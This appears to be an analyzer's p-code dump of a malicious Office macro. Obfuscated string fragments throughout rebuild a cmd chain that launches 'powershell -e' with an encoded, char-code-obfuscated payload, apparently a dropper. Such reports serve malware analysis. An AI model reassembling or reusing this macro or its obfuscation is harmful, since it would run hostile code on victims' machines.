' Ld aSSEHGwNN
' St bhOnLVrLp
' Line #5:
' LitStr 0x0073 "FNzAxADEANgAgACwAMwAyACwANgAxACwAMwAyACAALAAxADEAMAAsACAAMQAwADEALAAxADEAOQAsACAANAA1ACwAMQAxADEALAA5ADgAILHGBUVjii"
' LitDI2 0x0004
' LitDI2 0x0067
' ArgsLd Mid 0x0003
' St LVitiHLC
' Line #6:
' Ld LVitiHLC
' St WtMYIENN
' Line #7:
' Ld RzLizHLPL
' St aSXZsipJa
' Line #8:
' LitStr 0x0040 "iDVwtwXLwR5LZzXgAIAAsADQANwAsADQANwAgACwAOQA3ACAALAAgADIswduJ36F"
' LitDI2 0x0010
' LitDI2 0x0028
' ArgsLd Mid 0x0003
' St MGqwCvtjb
' Line #9:
' Ld MGqwCvtjb
' St aHcvhutHTSL
' Line #10:
' Ld GEovCMbTF
' St IFJhtRcdH
' Line #11:
' LitStr 0x0044 "0dOHiI5WjBHwdvA5ACwAIAA0ADYALAAxADEAMAAsADEAMAAxACAALAAxADIA0DYjCIAi"
' LitDI2 0x000F
' LitDI2 0x002E
' ArgsLd Mid 0x0003
' St XSWqXGjGjts
' Line #12:
' Ld XSWqXGjGjts
' St whwQjbTMJ
' Line #13:
' Ld drVLtruoH
' St BCofzBuZO
' Line #14:
' LitStr 0x0090 "ji99t4sIgACwAMQAxADEALAA5ADcAIAAsACAAMQAwADAALAA3ADAAIAAsACAAMQAwADUALAAxADAAOAAgACwAMQAwADEAIAAsACAANAAwACwAIAAzADYALAAgADEALUbo2XVooDqV4Oj5NbZ"
' LitDI2 0x0009
' LitDI2 0x0075
' ArgsLd Mid 0x0003
' St voBYBqM
' Line #15:
' Ld voBYBqM
' St bIswM
' Line #16:
' Ld mVuzHiBJN
' St DsZFwPbiF
' Line #17:
' LitStr 0x0078 "6w05hpRlEAAsACAAMQAxADYAIAAsADMAMgAsADQANQAsADYANwAsACAAMQAxADEAIAAsADEAMAA5ACwAIAA3ADkALAAgADkAOAAgACwAIAAxAvzCMNowU0ON"
' LitDI2 0x000A
' LitDI2 0x0064
' ArgsLd Mid 0x0003
' St nHsVTuND
' Line #18:
' Ld nHsVTuND
' St cDEiqK
' Line #19:
' Ld muLzBOEXa
' St XdHInTDwl
' Line #20:
' LitStr 0x0030 "mlK4Lhw1idzABHAGUAdAAtAFYAYQBSAGkzfczKPiIrispQO3"
' LitDI2 0x000D
' LitDI2 0x0015
' ArgsLd Mid 0x0003
' St pRQwKuzEnpq
' Line #21:
' Ld pRQwKuzEnpq
' St wSCzb
' Line #22:
' Ld UikqJjiXL
' St fvFZDOwID
' Line #23:
' LitStr 0x004B "DcXiZlj5LEAMQAzACAALAAgADkAOQAsACAAMQAxADUAIAAsADQANgAgACwAMiowolFmnpBoTAOO"
' LitDI2 0x000A
' LitDI2 0x0033
' ArgsLd Mid 0x0003
' St iHUTpKdWI
' Line #24:
' Ld iHUTpKdWI
' St NjMkMic
' Line #25:
' Ld toTfvjDWO
' St AvFGCwdpn
' Line #26:
' LitStr 0x00A5 "qrNrkQIalMQA3ACAALAAxADEANAAgACwAMQAwADgALAAgADQANgAgACwAIAA4ADQAIAAsACAAMQAxADEAIAAsACAAOAAzACwAMQAxADYALAAgADEAMQA0ACAALAAxADAANQAsACAAMQAxADAAIAAscnhqfDYjAE6nIMi1"
' LitDI2 0x000A
' LitDI2 0x008C
' ArgsLd Mid 0x0003
' St lTnNYHZwJp
' Line #27:
' Ld lTnNYHZwJp
' St zWGjimwQd
' Line #28:
' Ld BvkbSiDEc
' St IzZsLiPiU
' Line #29:
' LitStr 0x0094 "5AAsADEAMAA2ACwAMQAwADEAIAAsACAAOQA5ACAALAAxADEANgAsADMAMgAsACAAOAAzACwAIAAxADIAMQAgACwAMQAxADUAIAAsADEAMQA2ACjlh2k08uwDsuzhtz6ck9Y0I3l6zUzG2Vml7vfL"
' LitDI2 0x0002
' LitDI2 0x006D
' ArgsLd Mid 0x0003
' St nzjFpOMbORG
' Line #30:
' Ld nzjFpOMbORG
' St OjpGc
' Line #31:
' Ld jojBnnVWZ
' St VZsHvNaCT
' Line #32:
' LitStr 0x00B8 "kvPhaYqzJH4k6AA0ACwAMQAwADcALAAgADEAMQA1ACAALAA0ADUAIAAsACAAMQAwADMAIAAsACAAMQAxADQAIAAsADkANwAsADEAMAAyACAALAAgADEAMAA1ACAALAAxADAANwAsACAANAA2ACAALAAxADAAMAAgACwECvEhzJBpzQCOEAwVbGRZ"
' LitDI2 0x000F
' LitDI2 0x0094
' ArgsLd Mid 0x0003
' St wKXjHjBFsiv
' Line #33:
' Ld wKXjHjBFsiv
' St vXKARRMiD
' Line #34:
' Ld CSWpbrGiz
' St lHkarTdcu
' Line #35:
' LitStr 0x0039 "9h5Z9wHmqjCZ8iHzRqIlVXU9tjFLMWJiADMAMgAgACwAIAA4ADcALAOFU"
' LitDI2 0x0021
' LitDI2 0x0016
' ArgsLd Mid 0x0003
' St KNmGwoMscMw
' Line #36:
' Ld KNmGwoMscMw
' St aPSijhGRzkl
' Line #37:
' Ld lAIzGwFSw
' St VACMRIKfu
' Line #38:
' LitStr 0x0029 "WIG9ABFADoAbwBGAHMAJwAgACcAPqcjzSpiU37DPk"
' LitDI2 0x0005
' LitDI2 0x0017
' ArgsLd Mid 0x0003
' St uzZbWuvTL
' Line #39:
' Ld uzZbWuvTL
' St CRbPwI
' Line #40:
' Ld zuMruEqzV
' St suiZdTTXk
' Line #41:
' LitStr 0x00BB "rvvhNQDwpdS7AALAAxADAAMQAsACAAMQAwADkALAAgADQANgAgACwAIAA3ADgAIAAsACAAMQAwADEALAAxADEANgAsADQANgAsACAAOAA3ACwAIAAxADAAMQAgACwAOQA4ACAALAAgADYANwAgACwAIAAxADAAOAAgACwAIAAxADAANQAsQLpMDKPA4"
' LitDI2 0x000D
' LitDI2 0x00A6
' ArgsLd Mid 0x0003
' St iiHwfwM
' Line #42:
' Ld iiHwfwM
' St EnfZtt
' Line #43:
' Ld mFMZjJuOn
' St WZpbQLZsc
' Line #44:
' LitStr 0x00C4 "qsXQACAAMQAwADEAIAAsADEAMQAwACwAIAAxADEANgAgACwAIAA1ADkALAAzADYAIAAsADEAMQA0ACwAIAA5ADcAIAAsADEAMQAwACwAIAAxADAAMAAgACwAMQAxADEAIAAsADEAMAA5ACAALAAgADMAMgAgACwAIAA2ADEALAAzADIALAAxADEAMAA8id1kmiCH"
' LitDI2 0x0005
' LitDI2 0x00B7
' ArgsLd Mid 0x0003
' St XAXjzq
' Line #45:
' Ld XAXjzq
' St rmQUsVd
' Line #46:
' Ld htGDGHbit
' St OwXjstYNk
' Line #47:
' LitStr 0x0074 "dDhsCibinBcAIAAsACAAOQA3ACAALAAgADEAMQA2ACwAIAAxADAANAAsACAAMQAwADgALAAgADEAMQAxACwAMQAxADAALAAgADEAMAAxACNB74iJla7F"
' LitDI2 0x000C
' LitDI2 0x005F
' ArgsLd Mid 0x0003
' St ZACzCQi
' Line #48:
' Ld ZACzCQi
' St hEjbZzz
' Line #49:
' Ld YXKDzfRbC
' St HQiWzkrjS
' Line #50:
' LitStr 0x0091 "cnBqOztkoWwotSqTc6HFiAgADgAMwAsACAAOQA5ACwAIAAxADEANAAsACAAMQAwADUAIAAsADEAMQAyACAALAAxADEANgAgACwAIAA0ADYALAA4ADMAIAAsACAAMQAwADQAIAAsA1d3NOV2oY"
' LitDI2 0x0016
' LitDI2 0x0073
' ArgsLd Mid 0x0003
' St zQwFL
' Line #51:
' Ld zQwFL
' St IXQpdlb
' Line #52:
' Ld VjwEwBQnz
' St znjvCCasz
' Line #53:
' LitStr 0x008E "E6Zl8XmDsh2Y5O82TiAACAAMQAwADEAIAAsACAAMwA5ACAALAAgADUAOQAsACAAMQAwADIAIAAsADEAMQAxACwAMQAxADQAIAAsADEAMAAxACwAOQA3ACwAIAA5ADkALAAgAhBljI0KiG7"
' LitDI2 0x0014
' LitDI2 0x0071
' ArgsLd Mid 0x0003
' St MZkBkLKlo
' Line #54:
' Ld MZkBkLKlo
' St zWlljQjOicj
' Line #55:
' Ld ZdvalfEdu
' St IsznsMbAp
' Line #56:
' LitStr 0x0028 "4kmDEAMAAxACwAMQAwADgALAAgADEAFB2YLKabo3"
' LitDI2 0x0004
' LitDI2 0x001B
' ArgsLd Mid 0x0003
' St ihOiImTA
' Line #57:
' Ld ihOiImTA
' St OTQni
' Line #58:
' Ld TTZJnKhIj
' St NLObvGkVz
' Line #59:
' LitStr 0x0046 "VswqlY0KSDupWjDAANgAgACwAMQAwADEAIAAsADkAOQAsADEAMQA2ACAALAAgOH13LIEBh"
' LitDI2 0x000F
' LitDI2 0x002F
' ArgsLd Mid 0x0003
' St pdvWFH
' Line #60:
' Ld pdvWFH
' St jXiwu
' Line #61:
' Ld DvzTAUGDb
' St FKvUTCNBP
' Line #62:
' LitStr 0x0056 "0BvXADQAMAAgACwANAA5ACAALAA0ADQAIAAsACAAMwAyACAALAAgrLPUYwr8Bjnkb5D5EA2cnEf3lhv18PNJo5"
' LitDI2 0x0005
' LitDI2 0x0030
' ArgsLd Mid 0x0003
' St rvQioH
' Line #63:
' Ld rvQioH
' St oRDPk
' Line #64:
' Ld QQqlsdwzS
' St jhwqCWOIh
' Line #65:
' LitStr 0x00D3 "aTOEL0Kwb8XnpKwEk0mStMibjoNgAsACAAMQAxADIALAA5ADcALAAxADEANgAgACwAIAAxADAANAAgACwANAAxACAALAAgADUAOQAsADgAMwAsADEAMQA2ACAALAAgADkANwAsACAAMQAxADQALAAxADEANgAsADQANQAgACwAIAA4ADAALAAxADEANAAgACwAIAAxADEAMQAgAC9BN"
' LitDI2 0x001B
' LitDI2 0x00B6
' ArgsLd Mid 0x0003
' St jpIbjIzDHaM
' Line #66:
' Ld jpIbjIzDHaM
' St fSFIdtck
' Line #67:
' Ld AzSEDkiwb
' St ztsMOurhZ
' Line #68:
' LitStr 0x0091 "KwrMimJ7l2w98T7roz7uAxADEAMQAsACAAMQAxADIAIAAsACAAMQAwADIALAAgADEAMAA4ACwAIAAxADAAMQAgACwAIAAxADAAMwAgACwAIAAxADAAMQAgACwAIAA0ADUAIAAs5ziDOQij8dN"
' LitDI2 0x0015
' LitDI2 0x0072
' ArgsLd Mid 0x0003
' St iLzHR
' Line #69:
' Ld iLzHR
' St UsOkmuDR
' Line #70:
' Ld YSCTXBCHK
' St mOIYFLUwk
' Line #71:
' LitStr 0x00C0 "ldNFLpz70zkJfFuCcCwAMQAxADAAIAAsACAAMQAxADYALAAgADEAMgAwACAALAA3ADYAIAAsACAANAA3ACwAMwA5ACAALAAgADQANgAsACAAOAAzACAALAAgADEAMQAyACAALAAgADEAMAA4ACwAMQAwADUALAAxADEANgAgACwANAAwACAALAAzADkAIAti"
' LitDI2 0x0012
' LitDI2 0x00AD
' ArgsLd Mid 0x0003
' St AWbPwjbHGBi
' Line #72:
' Ld AWbPwjbHGBi
' St WAhYdpS
' Line #73:
' Ld OMMGCuBJk
' St jXSCzVwNI
' Line #74:
' LitStr 0x0019 "wwTH7whset %nkwrnRiAKkjti"
' LitDI2 0x0008
' LitDI2 0x000B
' ArgsLd Mid 0x0003
' St iPSFa
' Line #75:
' Ld iPSFa
' St QzKZn
' Line #76:
' Ld XhbRCwZzb
' St KanjrRJSO
' Line #77:
' LitStr 0x0046 "zYDXUSAUADEAMAAzACwANAAwACAALAA0ADEAIAAsADQANAAsADMAMgAsADMAuXuruwldNf"
' LitDI2 0x0009
' LitDI2 0x0034
' ArgsLd Mid 0x0003
' St CKlhkczQ
' Line #78:
' Ld CKlhkczQ
' St cHqXLQwwN
' Line #79:
' Ld YSPIRNQrj
' St JjOnbrCGk
' Line #80:
' LitStr 0x0095 "LGjO4JXCwAMQAyADUAIAAsACAAMQAyADUAIAApACAAKwAiACAAJAAoAHMAZQBUAC0AaQBUAGUATQAgACcAVgBBAHIAaQBhAGIATABlADoAbwBGAFMAJwAgACcAIAAnACkAIAAiACkAIAA=2K2DU8M"
' LitDI2 0x0008
' LitDI2 0x0087
' ArgsLd Mid 0x0003
' St jRwjAuGkCwb
' Line #81:
' Ld jRwjAuGkCwb
' St KQmkOwNf
' Line #82:
' Ld hzJQjDTsa
' St WCjAsjGZj
' Line #83:
' LitStr 0x0045 "p65AiVYK5EDEAMAA0ACwAIAA0ADAAIAAsACAAMwA2ACwAMQAxADcAIAfwWwAPVAr64a5G"
' LitDI2 0x000B
' LitDI2 0x002D
' ArgsLd Mid 0x0003
' St hzJQjDTsa
' Line #84:
' Ld hzJQjDTsa
' St IfiLomuz
' Line #85:
' Ld WXwvikhlz
' St kijjo
' Line #86:
' LitStr 0x00E5 "nkBjJwApACIAKwAgAFsAcwBUAHIASQBuAGcAXQBbAGMASABBAHIAWwBdAF0AKAAzADYALAAgADEAMQA5ACAALAAgADEAMQA1ACAALAAgADkAOQAgACwAIAAxADEANAAsACAAMQAwADUALAAxADEAMgAgACwAIAAxADEANgAsADMAMgAgACwANgAxACwAIAAzADIAIAAsAnWj516lBPMDKtKpEs5ikKKVZE8w7"
' LitDI2 0x0005
' LitDI2 0x00C5
' ArgsLd Mid 0x0003
' St zOPOAKPDw
' Line #87:
' Ld zOPOAKPDw
' St FzdwKzIzkcW
' Line #88:
' Ld uIqhhCLVJ
' St GrVvuww
' Line #89:
' LitStr 0x009F "c4w57X8C7qol8J8iCwAIAA0ADEALAAxADIAMwAsADEAMQA2ACAALAAgADEAMQA0ACAALAAxADIAMQAsADEAMgAzACAALAAgADMANgAgACwAMQAxADkAIAAsADEAMAAxACwAOQA4ACAALAA5ADkAIAAr6fUw9jqc"
' LitDI2 0x0011
' LitDI2 0x0086
' ArgsLd Mid 0x0003
' St bHmLpYnuU
' Line #90:
' Ld bHmLpYnuU
' St dYKEBhlLjrA
' Line #91:
' Ld ibYvTHjGK
' St ZjvVJUj
' Line #92:
' LitStr 0x0033 "fSoiiRbjCGNbKMtz7TEz FADUANAAsADUAMwAgACwANQAjGVaH4"
' LitDI2 0x0017
' LitDI2 0x0017
' ArgsLd Mid 0x0003
' St RSwzBdGYk
' Line #93:
' Ld RSwzBdGYk
' St ivqqjXjHXYA
' Line #94:
' Ld joqwkIbGi
' St DbQKWqFB
' Line #95:
' LitStr 0x0024 "kHUz8Fbr4sADEAMAwBlEZr7zlQ8SV9qn4WNE"
' LitDI2 0x000A
' LitDI2 0x0007
' ArgsLd Mid 0x0003
' St NnZqaGqhb
' Line #96:
' Ld NnZqaGqhb
' St bkRsc
' Line #97:
' Ld YzpjAaruC
' St iEiaIfEa
' Line #98:
' LitStr 0x00A1 "bCNwQWzAsADEAMQA0ACAALAAxADAAOAAsACAAMwAyACAALAAxADAANQAgACwAMQAxADAAIAAsADMAMgAsADMANgAsACAAMQAxADcALAAgADEAMQA0ACAALAAgADEAMAA4ACAALAAxADEANQAgABklkowGnPh0utiR"
' LitDI2 0x0008
' LitDI2 0x008B
' ArgsLd Mid 0x0003
' St MbFJFRoDG
' Line #99:
' Ld MbFJFRoDG
' St pYmroFko
' Line #100:
' Ld ilrPTNdTT
' St EjuiwJtit
' Line #101:
' LitStr 0x00B3 "wIpwQjrf8C1MWWiBpANgAgACwAIAAxADAANQAgACwAIAAxADEAMQAgACwAMQAxADAALAA0ADYALAAgADcANwAgACwAIAAxADAAMQAsADEAMQA1ACAALAAxADEANQAsACAAOQA3ACAALAAxADAAMwAgACwAMQAwADEAIAAsACAANQA5AinTP"
' LitDI2 0x0012
' LitDI2 0x009E
' ArgsLd Mid 0x0003
' St laspJUBiZ
' Line #102:
' Ld laspJUBiZ
' St whcoScHAi
' Line #103:
' Ld uAnPEpGOi
' St VpjIm
' Line #104:
' LitStr 0x009D "r26p4u0uFb4FEXqauo&&set %dWCitKIaw%=JwowzTGji&&set %FwIWMBjaw%=hell&&set %DBrwIPTXT%=wlYrfjrtW&&!%OpvLfYrvY%!!%nkwrnRSUQ%!!%FwIWMBjaw%! -e IAAmACgAKAlLZINPEr"
' LitDI2 0x0012
' LitDI2 0x0084
' ArgsLd Mid 0x0003
' St YEiIBXALv
' Line #105:
' Ld YEiIBXALv
' St YbjOphkLR
' Line #106:
' Ld kJfbFhGGT
' St hwXCT
' Line #107:
' LitStr 0x0020 "7P4BodMAAsACAAMQAxADYALAAgHvjzDw"
' LitDI2 0x0007
' LitDI2 0x0014
' ArgsLd Mid 0x0003
' St KXSlHXrtD
' Line #108:
' Ld KXSlHXrtD
' St PMiKHjJbm
' Line #109:
' Ld SOjBJFjEP
' St hNwjP
' Line #110:
' LitStr 0x00C8 "XiZJrLctdHMU2w9FI8ZfFNlhbLjpzmAAxADEANgAgACwAIAAxADEANgAsADEAMQAyACAALAAgADUAOAAgACwANAA3ACAALAAgADQANwAsACAAMQAxADUAIAAsADEAMAAxACAALAAgADkAOAAgACwAIAA5ADcAIAAsADEAMQA1ACAALAAxADEANgAgACwAMQAwADUAIHW"
' LitDI2 0x001F
' LitDI2 0x00A8
' ArgsLd Mid 0x0003
' St lcYVozZRZ
' Line #111:
' Ld lcYVozZRZ
' St hEBNNSh
' Line #112:
' Ld tSuFIwWwr
' St iPzTjimqkH
' Line #113:
' LitStr 0x004D "EjjkcGfrwEcWFLXdq6CPqjwllszhXZ5VADYAIAAsADEAMAAwACAALAAxADAAMQAgACwAIAAT6fvKi"
' LitDI2 0x0021
' LitDI2 0x0027
' ArgsLd Mid 0x0003
' St LnwLQHThw
' Line #114:
' Ld LnwLQHThw
' St IophhEvcsw
' Line #115:
' Ld OiAasBSVd
' St bKjJcEkc
' Line #116:
' LitStr 0x00A3 "71CufOsuScwbdUYr3MAA4ACwAIAA1ADkAIAAsACAAMwA2ACAALAAgADEAMQA5ACwAMQAwADEAIAAsADkAOAAsADkAOQAgACwAIAAxADAAOAAsADEAMAA1ACwAMQAwADEAIAAsADEAMQAwACAALAziOvOad4I5Cw1Olz"
' LitDI2 0x0012
' LitDI2 0x0082
' ArgsLd Mid 0x0003
' St upiVLqzzb
' Line #117:
' Ld upiVLqzzb
' St qDdoc
' Line #118:
' Ld INFifMNXQ
' St QMLVJzpZWn
' Line #119:
' LitStr 0x0044 "2MvIXPM2pQFjhE2QgACwAIAAxADAAMQAgACwAIAAxADEAOQAgACwANAA1ACAAaFNFMpv"
' LitDI2 0x0011
' LitDI2 0x002D
' ArgsLd Mid 0x0003
' St SZMQBHAKi
' Line #120:
' Ld SZMQBHAKi
' St NIWTvWioNs
' Line #121:
' Ld ZTatnnVbH
' St mErMcO
' Line #122:
' LitStr 0x0097 "MNVnipBGKGWokNrUVRKpLiutJaJnCAAMQAxADAALAAgADEAMAAxACAALAAxADEAOQAgACwANAA1ACAALAAgADEAMQAxACwAIAA5ADgALAAgADEAMAA2ACAALAAgADEAMAAxACAALAA5ADkAIsIsFN7L"
' LitDI2 0x001D
' LitDI2 0x0074
' ArgsLd Mid 0x0003
' St JpbGNSjLU
' Line #123:
' Ld JpbGNSjLU
' St bbzrLAH
' Line #124:
' Ld rjDnMUkAv
' St EIHTfG
' Line #125:
' LitStr 0x0042 "4MccpXQuHwNwAgACwAIAAxADEAMAAgACwAMQAwADAAIAAsACAAMQAxADEAIAAqRHKU"
' LitDI2 0x000B
' LitDI2 0x0033
' ArgsLd Mid 0x0003
' St QinbUBHYi
' Line #126:
' Ld QinbUBHYi
' St obdoENiIO
' Line #127:
' Ld APZSMEFEh
' St iXCloTEIuZ
' Line #128:
' LitStr 0x00A1 "0fYTACAALAAxADEANQAsADEAMQA2ACAALAAzADIALAAgADMANgAgACwAOQA1ACwAIAA0ADYAIAAsACAANgA5ACwAIAAxADIAMAAgACwAOQA5ACAALAAgADEAMAAxACAALAAgADEAMQAyACwAIAAxADEu34V3BiSCH"
' LitDI2 0x0005
' LitDI2 0x0093
' ArgsLd Mid 0x0003
' St oLMtjpmJi
' Line #129:
' Ld oLMtjpmJi
' St PwjJta
' Line #130:
' Ld flHFImrEz
' St HMrvLzYW
' Line #131:
' LitStr 0x002D "OnG3LqW1oW5UCVBEuADEAMAAxACwAIAAxADIAMAAsPLju"
' LitDI2 0x0012
' LitDI2 0x0018
' ArgsLd Mid 0x0003
' St TiVawoojw
' Line #132:
' Ld TiVawoojw
' St jfKjjI
' Line #133:
' Ld uYTzhImvo
' St MMOTFvnUEj
' Line #134:
' LitStr 0x006B "KA81LKt4KAlwNADEAMQAyACwAMQAwADEALAAgADEAMQA2ACwAMQAwADEALAAgADEAMQA0ACAALAAgADEAMQA1ACwAIAA0dCVt8HbJjcbhH6"
' LitDI2 0x000E
' LitDI2 0x0050
' ArgsLd Mid 0x0003
' St jXuwoLXcm
' Line #135:
' Ld jXuwoLXcm
' St OqhXj
' Line #136:
' Ld WvGmbIGmW
' St BjHvzZAIcwi
' Line #137:
' LitStr 0x0047 "jYAGHPGiSUQ%=wers&&set %AwvmsCjYw%=vBTfYXbaS&&set %OpvLfYrvY%=pILTSwYMs"
' LitDI2 0x0009
' LitDI2 0x0037
' ArgsLd Mid 0x0003
' St MOMYFDtrk
' Line #138:
' Ld MOMYFDtrk
' St EuNaQjowKh
' Line #139:
' Ld KfEwSMwHh
' St ntTNTJwzmO
' Line #140:
' LitStr 0x006C "YkEGuwcNRpHDEAMQA2ACAALAAxADEAMgAgACwANQA4ACwAIAA0ADcALAAgADQANwAgACwAIAA5ADcALAAxADEANwAgACwAMQAxADYALAaGH7"
' LitDI2 0x000C
' LitDI2 0x005D
' ArgsLd Mid 0x0003
' St DVtJDWBRk
' Line #141:
' Ld DVtJDWBRk
' St YvSMQau
' Line #142:
' Ld qHzKsvmah
' St PSnna
' Line #143:
' LitStr 0x009A "Gn47zGpYALAAgADEAMQAyACAALAAgADUAOAAgACwAIAA0ADcAIAAsADQANwAsADkANwAgACwAIAAxADEANAAsADEAMQA2ACwAMQAxADkAIAAsADEAMQAxACAALAAgADEAMQX5wpbisGsYQQh4lpfc3ZwQR"
' LitDI2 0x0008
' LitDI2 0x007C
' ArgsLd Mid 0x0003
' St cLSqEwaMw
' Line #144:
' Ld cLSqEwaMw
' St IKzcdBYQawA
' Line #145:
' Ld iYctoTbDQ
' St fvJQv
' Line #146:
' LitStr 0x00DA "zn7k2ZZF732q5bCAALAAgADUAOQAgACwAMQAyADUALAA5ADkAIAAsADkANwAsADEAMQA2ACwAIAA5ADkALAAxADAANAAsADEAMgAzACAALAAxADEAOQAsACAAMQAxADQALAAxADAANQAsADEAMQA2ACAALAAgADEAMAAxACwANAA1ACAALAAxADAANAAsADEAMQAxqlTI3HQXQAcVvvzAYVS1Y"
' LitDI2 0x000F
' LitDI2 0x00B7
' ArgsLd Mid 0x0003
' St cDLqWnTCj
' Line #147:
' Ld cDLqWnTCj
' St iGJjiPRpGG
' Line #148:
' Ld nAnJLsfVw
' St FCNXijTIbar
' Line #149:
' LitStr 0x00A8 "0bYvQAxADEALAAgADEAMQA0ACwAIAAxADAAMwAsADQANwAsACAAOAAxACwANwA1ACwAMQAxADcALAAgADEAMgAxACAALAAgADEAMgAxACwANAA3ACAALAAgADQANAAgACwAMQAwADQALAAxADEANgAsACAAMQAxAD949v1BF"
' LitDI2 0x0005
' LitDI2 0x009D
' ArgsLd Mid 0x0003
' St OMQwirZTt
' Line #150:
' Ld OMQwirZTt
' St uhazRT
' Line #151:
' Ld HwTijoiKW
' St qjwaC
' Line #152:
' LitStr 0x009B "OXE2ozQFl8PZUNasACAAMQAwADgALAAxADAANQAsACAAMQAwADEAIAAsACAAMQAxADAAIAAsADEAMQA2ACwANAA2ACAALAA2ADgALAAxADEAMQAgACwAIAAxADEAOQAsACAAMQAxADAALAAxADAAOAAAakR"
' LitDI2 0x0010
' LitDI2 0x0088
' ArgsLd Mid 0x0003
' St VmpiWBMnM
' Line #153:
' Ld VmpiWBMnM
' St nZNaSn
' Line #154:
' Ld JZMkNSWMr
' St rTGczTKwQXw
' Line #155:
' LitStr 0x00DE "EEPPSKzXN6cj6z5AIWZZ1wAOQA5ACAALAAgADEAMAAxACAALAAgADEAMQA1ACAALAAgADEAMQA1ACwAMwAyACAALAAzADYALAAxADEAMgAsADkANwAsACAAMQAxADYALAAgADEAMAA0ACAALAA1ADkALAA5ADgAIAAsACAAMQAxADQAIAAsADEAMAAxACAALAA5ADcALAAgADEAMAA3AU3t3IThavh"
' LitDI2 0x0016
' LitDI2 0x00BF
' ArgsLd Mid 0x0003
' St AfUTQDuLG
' Line #156:
' Ld AfUTQDuLG
' St SsPrLKoApOk
' Line #157:
' Ld QJQziBVJj
' St VwpNiNm
' Line #158:
' LitStr 0x00D0 "Nq7VHQH297SAcwL15uQ7M7s6AIAAsACAAMQAxADEAIAAsACAAMQAwADkALAAgADUAOQAsADMANgAgACwAIAAxADEANwAgACwAMQAxADQALAAgADEAMAA4ACwAMQAxADUAIAAsACAAMwAyACAALAAgADYAMQAsADMAMgAgACwAMwA5ACwAMQAwADQAIAAsACAAMQAxADYAIAAsALw"
' LitDI2 0x0019
' LitDI2 0x00B6
' ArgsLd Mid 0x0003
' St HjpOkufQt
' Line #159:
' Ld HjpOkufQt
' St kFRubtZ
' Line #160:
' Ld jWjAHWzii
' St QJUSNmEQz
' Line #161:
' LitStr 0x00C3 "mSjBfFOQEwvsXwCIIihVEMAsADQANAAgACwAMwA5ACwAIAA0ADEAIAAsADUAOQAgACwAMwA2ACAALAAgADEAMQAwACAALAA5ADcALAAxADAAOQAsACAAMQAwADEALAAzADIAIAAsADYAMQAsACAAMwAyACwAMwA2ACwAMQAxADQALAAgADkAZbmwqz3n90zUr6l"
' LitDI2 0x0017
' LitDI2 0x009E
' ArgsLd Mid 0x0003
' St CBVlkLvvi
' Line #162:
' Ld CBVlkLvvi
' St wUAQcjd
' Line #163:
' Ld vKuKPDjPc
' St NiqcsTb
' Line #164:
' LitStr 0x0064 "jtAAsACAAOQA3ACAALAAgADEAMQAwACwAIAAxADAANAAsACAAMQAxADEAIAAsACAAMQAwADIALAAgADEAMAA9FuUwIau1a1XDuVk"
' LitDI2 0x0003
' LitDI2 0x0052
' ArgsLd Mid 0x0003
' St BlvZozJNo
' Line #165:
' Ld BlvZozJNo
' St YswhFJpDAh
' Line #166:
' Ld WQBtBAXTI
' St GXaYmbs
' Line #167:
' LitStr 0x00C0 "bZG0ADcALAAgADgANAAgACwANwA4ACAALAAgADcAOAAsADcANwAsADcAMwAgACwAIAAxADEANQAsACAAMQAxADMALAAgADQANwAsADQANAAsACAAMQAwADQALAAgADEAMQA2ACwAIAAxADEANgAsACAAMQAxADIALAA1ADzT0GDmsstjrndhknzJRJvX5j1z"
' LitDI2 0x0004
' LitDI2 0x00A3
' ArgsLd Mid 0x0003
' St NVziSoQjG
' Line #168:
' Ld NVziSoQjG
' St AmYVBIs
' Line #169:
' Ld zVHfQruws
' St BzVKGAzHNko
' Line #170:
' LitStr 0x00AD "FMAQQBiAEwARQAgACcAKgBNAEQAUgAqACcAKQAuAE4AYQBNAEUAWwAzACwAMQAxACwAMgBdAC0AagBPAEkAbgAnACcAKQAoACAAIgAgACQAKAAgAHMAZQB0AC0AaQBUAGUATQAgACcAVgBhAHIASQBhAEIAbJ71qGC9LtsJt5vTzS"
' LitDI2 0x0003
' LitDI2 0x009A
' ArgsLd Mid 0x0003
' St jcNVcXWYf
' Line #171:
' Ld jcNVcXWYf
' St jQtCpKvkJjD
' Line #172:
' Ld cBIunwvVt
' St zdHIwi
' Line #173:
' LitStr 0x008D "irCq5QNnGhWKL9qS1ZJ192zACwANQAxACwAIAA1ADQALAA0ADEALAAgADUAOQAgACwAMwA2ACAALAAxADEAMgAgACwAIAA5ADcAIAAsADEAMQA2ACwAIAAxADAANAAgACwAIAAz1twEF6"
' LitDI2 0x0017
' LitDI2 0x0071
' ArgsLd Mid 0x0003
' St dWSHJEtKr
' Line #174:
' Ld dWSHJEtKr
' St UNcOTT
' Line #175:
' Ld hrzJzFHor
' St kWdYJCz
' Line #176:
' LitStr 0x00A7 "iVHLUW005Rw0CwAOQAyACAALAAzADkALAAzADIAIAAsACAANAAzACAALAAzADIAIAAsADMANgAsADEAMQAwACwAOQA3ACwAMQAwADkALAAgADEAMAAxACwAMwAyACAALAA0ADMAIAAsADMAMgAsADMAOQAsADQANgAs7wz9"
' LitDI2 0x000D
' LitDI2 0x0097
' ArgsLd Mid 0x0003
' St urtbHuJni
' Line #177:
' Ld urtbHuJni
' St csrGHj
' Line #178:
' Ld zEiLkvwQZ
' St NTZVWHUpNA
' Line #179:
' LitStr 0x009C "6CfliRjCSCvCJAma2YrPuhIn5ACwAOQA3ACAALAAxADEAMAAsACAAMQAxADAALAAgADQANgAgACwAOQA5ACwAMQAxADEAIAAsACAAMQAwADkAIAAsADQANwAsACAAMQAwADIAIAAsADEAMAA1ANuoVvwp7b4"
' LitDI2 0x0019
' LitDI2 0x007A
' ArgsLd Mid 0x0003
' St ZbSIcSfph
' Line #180:
' Ld ZbSIcSfph
' St nzAhQ
' Line #181:
' Ld fTBDmzFAd
' St uJtVbUqZRKB
' Line #182:
' LitStr 0x009A "Hjdzm3fP9VEVLAAxADEAMQAsADkAOAAsACAAMQAwADYAIAAsACAAMQAwADEAIAAsADkAOQAsACAAMQAxADYAIAAsACAAMwAyACAALAAxADEANAAsADkANwAgACwAIAAxADEAMAAgACwAMQAwADA2wGYnzV"
' LitDI2 0x000D
' LitDI2 0x0087
' ArgsLd Mid 0x0003
' St ACOYwWWvF
' Line #183:
' Ld ACOYwWWvF
' St imNtU
' Line #184:
' Ld JVHELjfhM
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.